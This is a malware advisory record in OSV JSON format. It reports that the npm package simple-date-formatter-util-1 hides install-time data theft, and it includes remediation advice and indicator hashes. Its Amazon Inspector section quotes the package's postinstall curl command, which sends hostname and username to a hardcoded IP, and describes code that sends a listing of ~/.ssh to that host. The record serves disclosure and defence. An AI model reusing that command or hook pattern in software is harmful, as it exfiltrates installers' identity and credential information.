{"id":"MAL-2026-11484","summary":"Malicious code in simple-date-formatter-util-1 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f633eec2e322fce0493ff996493eebe8036c628be4ab0caf4844928d6ccdf10f)\nPackage advertises itself as a date formatting utility but ships an active install-time exfiltration payload. package.json declares a postinstall hook `curl http://124.221.154.135/pre?h=$(hostname)&u=$(whoami)` that fires automatically on npm install, sending the installer's hostname and username over plaintext HTTP to a hardcoded bare IP. A shipped postinstall.js additionally reads the installer's `~/.ssh` directory via `fs.readdirSync(sshDir)` and POSTs the listing along with username/platform to the same host `124.221.154.135`. Source comments explicitly describe theft targets and C2/exfiltration behavior, confirming the mismatch between the advertised purpose and the actual behavior.\n\n## Source: ghsa-malware (cf71be7a588ae717e33fc9fe98c246a1037e8a38d385a18104a5c0fe8ff1f659)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\n## Source: ossf-package-analysis (8fbc767ae4319a00160dc56f05c82dc051f9fd8d66674de81372935f529ed241)\nThe OpenSSF Package Analysis project identified 'simple-date-formatter-util-1' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","aliases":["GHSA-mmc7-8pmj-h3xj"],"modified":"2026-08-04T22:05:14.208325144Z","published":"2026-08-02T16:35:47Z","database_specific":{"malicious-packages-origins":[{"id":"GHSA-mmc7-8pmj-h3xj","import_time":"2026-08-02T22:41:05.043192Z","modified_time":"2026-08-02T17:09:40Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"cf71be7a588ae717e33fc9fe98c246a1037e8a38d385a18104a5c0fe8ff1f659","source":"ghsa-malware"},{"modified_time":"2026-08-02T16:35:47Z","sha256":"8fbc767ae4319a00160dc56f05c82dc051f9fd8d66674de81372935f529ed241","source":"ossf-package-analysis","versions":["1.0.0"],"import_time":"2026-08-02T23:51:44.797015065Z"},{"sha256":"f633eec2e322fce0493ff996493eebe8036c628be4ab0caf4844928d6ccdf10f","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-011067","import_time":"2026-08-04T21:33:15.701215421Z","modified_time":"2026-08-04T21:27:46Z"}]},"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mmc7-8pmj-h3xj"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/simple-date-formatter-util-1/v/1.0.0"}],"affected":[{"package":{"name":"simple-date-formatter-util-1","ecosystem":"npm","purl":"pkg:npm/simple-date-formatter-util-1"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"tlsh":"b0e0e5226e2089637bb4c69069754b2ffe906b2f92b84c47f5772a44b2a7a705058316","path":"package.json","sha256":"f361247a66e0e29a82e12da4402a052a983c50bf285fe185b9a3cdc44b1b74b1"},{"sha256":"f2be6940c08d36a7f1ce83d5fe16fefd8c14edda5d124e0f6406725beb5020ef","tlsh":"273165d558f9cd3007778685639b91263102fe13650ee940f3c807a51fe9a5449f2dee","path":"postinstall.js"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-util-1/MAL-2026-11484.json"}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}